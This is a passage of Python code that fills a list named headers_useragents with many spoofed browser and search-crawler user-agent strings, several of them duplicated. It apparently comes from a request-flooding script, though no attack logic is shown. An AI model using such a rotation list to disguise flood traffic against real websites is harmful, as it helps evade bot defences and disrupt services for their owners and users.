  220.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  221.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  222.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  223.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  224.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  225.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  226.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  227.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  228.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  229.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  230.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  231.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  232.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  233.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  234.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  235.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  236.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  237.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  238.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  239.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  240.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  241.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  242.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  243.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  244.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  245.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  246.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  247.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  248.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  249.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  250.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  251.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  252.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  253.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  254.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  255.     headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  256.     headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  257.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  258.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  259.     headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  260.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  261.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  262.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  263.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  264.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  265.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  266.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  267.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  268.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  269.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  270.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  271.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  272.     headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  273.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  274.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  275.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  276.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  277.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  278.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  279.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  280.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  281.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  282.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  283.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  284.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  285.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  286.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  287.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  288.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  289.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  290.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  291.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  292.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  293.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  294.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  295.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  296.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  297.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  298.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  299.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  300.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  301.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  302.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  303.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  304.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  305.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  306.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  307.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  308.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  309.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  310.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  311.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  312.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  313.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  314.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  315.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  316.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  317.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  318.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  319.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  320.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  321.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  322.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  323.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  324.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  325.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  326.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  327.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  328.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  329.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  330.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  331.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  332.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  333.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  334.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  335.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  336.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  337.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  338.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  339.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  340.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  341.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  342.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  343.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  344.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  345.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  346.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  347.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  348.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  349.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  350.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  351.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  352.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  353.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  354.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  355.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  356.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  357.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  358.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  359.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  360.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  361.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  362.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  363.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  364.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  365.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  366.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  367.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  368.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  369.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  370.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  371.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  372.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  373.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  374.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  375.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  376.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  377.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  378.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  379.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  380.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  381.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  382.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  383.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  384.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  385.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  386.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  387.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  388.     headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620')
  389.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com')
  390.     headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)')
  391.     headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
  392.     headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
  393.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  394.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  395.     headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)')
  396.     headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)')
  397.     headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')
  398.     headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)')
  399.     headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)')
  400.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  401.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  402.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  403.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  404.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)')
  405.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  406.     headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)')
  407.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
  408.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)')
  409.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
  410.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  411.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
  412.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')
  413.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')
  414.     headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)')
  415.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
